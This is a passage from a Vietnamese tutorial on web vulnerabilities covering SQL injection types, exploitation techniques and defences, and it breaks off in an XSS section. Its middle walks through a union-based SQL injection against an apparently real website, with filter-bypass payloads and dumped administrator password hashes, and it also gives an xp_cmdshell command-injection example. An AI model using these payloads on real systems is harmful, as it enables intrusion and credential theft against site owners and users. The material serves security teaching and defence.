có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi
hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào
Dạng tấn công sử dụng Stored-Procedures
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được
thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã tiêm vào
dạng: ' ; EXEC xp_cmdshell ‘cmdd.exe dir C: '. Lúc này hệ thống sẽ thực hiện

lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc
vào câu lệnh đằng sau cmd.exe.fg
Hình 15. Các dạng tấn công SQL Injection
5.1.3 Cách thức và phương pháp tấn công
a. Các con đường khai thác.
Qua User Input: User input điển hình thường đến từ các form nhập liệu,
form search hay link… Những dữ liệu này được web browser gửi đến server
thông qua phương thức HTTP GET hay POST và trở thành các tham số cho
ứng dụng web truy cập tới cơ sở dữ liệu
Qua Cookies: Cookies là những tệp tin lưu trữ thông tin trạng thái của
người dùng khi truy cập các ứng dụng web. Những thông tin này do người lập
trình quyết định, được tạo ra ở server và lưu trữ tại client. Khi người dùng truy
cập lại ứng dụng web, cookies được browser gửi lên server giúp phục hồi lại
những trạng thái của người dùng trong lần truy cập trước đó. Do được lưu trữ ở
client nên người dùng có thể chỉnh sửa tùy ý, vì vậy nếu ứng dụng web sử dụng
những thông tin lưu trong cookies để xây dựng các truy vấn tới cơ sở dữ liệu thì
hacker hoàn toàn có thể chèn vào cookies những script sql để thực hiện một
cuộc tấn công Sql Injection
Qua các biến Server
Biến server có thể là một khái niệm tương đối lạ lẫm nhưng nó không hề mới.
Một số ví dụ của biến server là Http header, Network header… Không phổ biến
lắm nhưng các giá trị được lưu trong biến server có thể được ứng dụng web sử
dụng như trong việc logging truy cập hay thống kê truy cập theo user agent…
Những công việc này đều có sự tương tác với cơ sở dữ liệu nên các hacker hoàn
toàn có thể sử dụng các biến server trong việc khai thác Sql Injection.
b. Kỹ thuật khai thác
Boolean Based và Time Based Blind SQL Injection
Boolean based: Cơ sở của kỹ thuật này là việc so sánh đúng sai để tìm ra từng
ký tự của những thông tin như tên bảng, tên cột… Do đó, với dải giá trị chữ số,
chữ cái (bao gồm cả hoa, thường) và một số ký tự đặc biệt, việc so khớp trở nên

rất khó khăn và đòi hỏi nhiều thời gian. Do đó việc khai thác lỗi chủ yếu được
tiến hành bằng tools. Trong kỹ thuật Blind SQL injection (BQLi), chúng ta
cũng có nhiều phương pháp khác nhau. Điểm khác biệt giữa các phương pháp
này là sự tối ưu thời gian. Khái niệm Time based: Giống như boolean based
attacks chỉ khác nhau về cách suy diễn
VD: id = 1 and ascii(mid((query), position, 1)) > ?
Union Query Based
Đây là phương pháp phổ biến khi khai thác Sql Injection. Cơ sở của nó là sử
dụng từ khóa union để gộp các kết quả của các mệnh đề select, qua đó lấy được
thông tin từ cơ sở dữ liệu, cụ thể nó dùng để ghép nối các kết quả của hai hay
nhiều câu lệnh SELECT lại với nhau thành một tập kết quả duy nhất.
VD: union select 1,2,3,4
Batched Query
Đây là phương pháp áp dụng khả năng thực thi cùng lúc nhiều câu lệnh Sql của
một số hệ quản trị cơ sở dữ liệu và khả năng hỗ trợ của ngôn ngữ lập trình.
Phương pháp này rất mạnh mẽ và gây nguy hiểm ngay với hệ thống. Bằng cách
thêm vào một dòng lệnh Update, Insert hay Delete, dữ liệu trong cơ sở dữ liệu
của ứng dụng web không còn toàn vẹn nữa
VD: delete tablename, insert
column
Order by Clause
Không giống như các phương pháp trên, nội dung inject nằm trong mệnh đề
điều kiện where. Trong phương pháp này, chúng ta sẽ cố gắng tiêm mã script
vào mệnh đề order
VD: order by 2
Người lập trình muốn liệt kê sản phẩm của công ty bao gồm các thông tin: Mã
sản phẩm, Tên sản phẩm, Ngày tháng… và có chức năng cho phép người dùng
tùy chỉnh xem họ muốn sắp xếp theo thứ tự ngày tháng, theo tên hay mã của
sản phẩm.
VD: select id, name, price from product where id order by $varOrder

Trong trường hợp này chúng ta không thể thêm trực tiếp một mệnh đề sub
select thông qua từ khóa union như mọi khi được. Một cách khai thác đó là sử
dụng BATCHED QUERY, phương pháp này có thể Inject được một sub select
nhưng rõ ràng cách thực hiện này giờ đây phải kết hợp cả với kỹ thuật
BOOLEAN BASED BLIND SQLI
Hình 16. Các cách phát hiện tấn công SQl Injection
c. Cách thức tấn công
Sau đây xin giới thiệu cách tấn công SQL Injection qua phương pháp khai
thác lỗi Inband SQL
- Inband SQL là phương pháp dùng hàm Union để khai thác, Union là hàm liên
kết 2 truy vấn Select với nhau, cụ thể nó dùng để ghép nối các kết quả của hai
hay nhiều câu lệnh SELECT lại với nhau thành một tập kết quả duy nhất.
Từ Version 5 trở đi MySQL có thêm 1 database hệ thống là
information_schema, các table hệ thống của nó là tables, columns 2 table này
chứa tên các table và column của Website trên hệ thống
- Inband SQL là lỗi cho phép hiện số column và tên từng column của các bảng,
từ đó khi biết được bảng rồi thì ta có thể lấy được các cột và thông tin trong cột
1 cách dễ dàng
- Đầu tiên tìm site bị lỗi SQL Injection, trang ở đây là

- Cách kiểm tra trang này bị lỗi SQL Injection, đầu tiên chạy

không thấy lỗi gì, tiếp theo thêm dấu ‘ sau số 1 là
thấy báo
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '\'' at line 1
Như vậy đã thấy lỗi SQL Injection và có thề khai thác
- Tiếp theo tìm số cột của biểu đồ CSDL bằng cách chạy
order by 1
Ở đây ta dùng dùng order by đế xác định cột, tăng giá trị lên 1 đơn vị như

order by 2
đến khi nào thấy thông bào lỗi thì dừng lại. Thấy đến 5 là báo lỗi
Unknown column '5' in 'order clause' suy ra biểu đồ CSDL có 4 cột từ 1 đến
4.
- Chú ý ở đây chúng ta sử dụng dấu sau cùng đường link là đến loại bỏ những
phần sau câu truy vấn, trong phpmysql thì nó dùng để ghi những comment
- Tiếp theo ta tìm số cột trong biểu đồ CSDL bị lỗi ta chạy
union select 1,2,3,4
Ở đây id nên để là Null như trên để kết quả câu truy vấn trả về là rỗng, đôi khi
mới có thể show được các column bị lỗi, ta thấy cột số 4 bị lỗi.
- Tiếp theo chạy
union select 1,2,3,version()
để lấy thông tin Version Database sẽ thấy báo 5.1.73-log.
- Tiếp theo chạy
union select 1,2,3,
group_concat(table_name) from information_schema.tables where
table_schema=database()
để lấy danh sách bảng trong database thì thấy hiện ra các bảng sau
administrators, album, events, gallery, links, news, p_album, p_categories,
p_events, p_gallery, p_links, p_news,p_products, p_salsa, p_suscriptors,
p_users, p_videos, salsa, suscriptors, users, videos
- Tiếp theo chạy
uNion seleCt
1,2,3,group_concat(column_name) from information_schema.columns
where table_name=0x61646d696e6973747261746f7273
đề lấy các cột trong bảng administrators, ở đây phải thực hiện phương pháp
bypass filter addslashes() nếu bạn chạy
uNion seleCt
1,2,3,group_concat(column_name) from information_schema.columns
where table_name=administrators

là không được và sẽ báo lỗi
Unknown column 'administrators' in 'where clause'
Với phương pháp này ta sẽ convert tên administrators sang mã HEX sau đó
thêm 0x vào trước kết quả để được 0x61646d696e6973747261746f7273, kết
quả là ta đã thấy được có các cột id, user_name, user_password
Bạn cũng có thể xem thêm các cột của các bảng khác xem thêm cột của bảng
users như sau
/>%201,2,3,group_concat%28column_name%29%20from
%20information_schema.columns%20where%20table_name=0x7573657273
thì thấy có các cột IdUser,PasswordUser,NameUser
- Tiếp theo chạy
uNion seleCt
1,2,3,group_concat(id,0x2f,user_name,0x2f,user_password) from
administrators -
để lấy username và password của admin trong bảng administrators, ta thấy các
thông tin sau:
1/admin/$P$Bstga7byV42vvh7WVT/pPFPZw6j7ET.
2/annie/$P$BTUKe71XDGMYoJDlcc.6Nn72iIjPjU0
3/paul/$P$BgFBCcChouCvPmMIhKcHmnkwxBPCqB
Để xem thêm username và password của user trong bảng users ta chạy
uNion seleCt
1,2,3,group_concat(IdUser,0x2f,PasswordUser,0x2f,NameUser) from
users
thì thấy các thông tin sau
admin/0e4a20a448032584af3f285a2ad2d9d3/AMAUTA CONSULTORES
annie/c34d257b21c744ba5ed8d6863ee34b8e/Annie
- Tiếp theo tìm trang dăng nhập của Admin bằng cách, thử thủ công như
thêm /admin, /admincp, /login, .v.v.v thử online hoặc dùng tool, với trang này ta
chưa tìm được trang login Admin. Có thể nó đã bị cấm hay ẩn.
- Ở đây ta thấy mật khẩu của user và admin trong bảng administrators đã được

mã hóa theo kiểu md5 Wordpress Hash nên phải giải mã, bước này ta nên thử
các trang decrypt md5 online hay thử crack bằng Kali Linux, nhưng kết qủa
cũng chưa được, nên thử lại hoặc tìm cách khác
- Một chú ý nữa là trong quá trình thực hiện các bạn có thấy trong câu truy vấn
có viết in hoa 1 số từ như uNion seLect, biện pháp này nhằm để bypass qua sự
kiểm tra.
- Khi 2 bước trên hoàn thành, bạn có thể, login vào trang Admin hay Login vào
Cơ sở dữ liệu, và thao tác trên đó
- Nhằm mục đích học tập, lấy kinh nghiệm và các phòng chống, khuyên các bạn
không nên có các hành vi và mục đích xấu.
5.1.4 Cách phòng chống và bảo mật
a. Sử dụng ràng buộc hay giới hạn tham số truy vấn, kiểu tham số, thủ tục khi
lưu trữ tham số (nên kết hợp với ràng buộc hay giới hạn tham số truy vấn)
- Hãy loại bỏ các kí tự meta như ‘ “ /\ ; và các kí tự extend như NULL, CR,
LF, v v trong các string nhận được từ: input do người dùng đệ trình, các tham
số từ URL, các giá trị từ Cookies.
VD: "select * from table where columna=? and columnb=?"
- Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query
SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
Cụ thể:
- Sử dụng những câu lệnh, tham số truy vấn đã qua chuẩn bị
- Thủ tục lưu trữ tham số
- Thoát khỏi tất cả các user cung cấp đầu vào
b. Set quyền cho các kết nối (Luôn luôn sử dụng tài khoản với đặc quyền tối
thiểu cần thiếtcho các ứng dụng trong, không nên sử dụng các từ "sa", "dba",
"admin", hoặc tương đương.)
- Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong
tab SQL Server Security
- Xóa các stored procedure trong database master mà không dùng như:
xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Hình 17. Cách phòng chồng tấn công SQL Injection
Hình 18. Cách phòng chồng tấn công SQL Injection
5.2 Lỗi Cross Site Scripting (XSS)
5.2.1 Khái niệm
Cross-Site Scripting (XSS) là 1 dạng tấn công loại tiêm kích, trong đó các
script độc hại được tiêm, nhúng hay chèn vào các trang web khác đáng tin cậy mà
người dùng thường không để ý. Các cuộc tấn công XSS xảy ra khi một kẻ tấn
công sử dụng một ứng dụng web để gửi mã độc hại, thường ở dạng của một kịch
bản phía trình duyệt, cho một người dùng cuối khác nhau.
Trình duyệt của người dùng cuối không có cách nào để phát hiện kịch bản
không tin tưởng và đã được chèn mã độc đó, và sẽ thực thi kịch bản. Kịch bản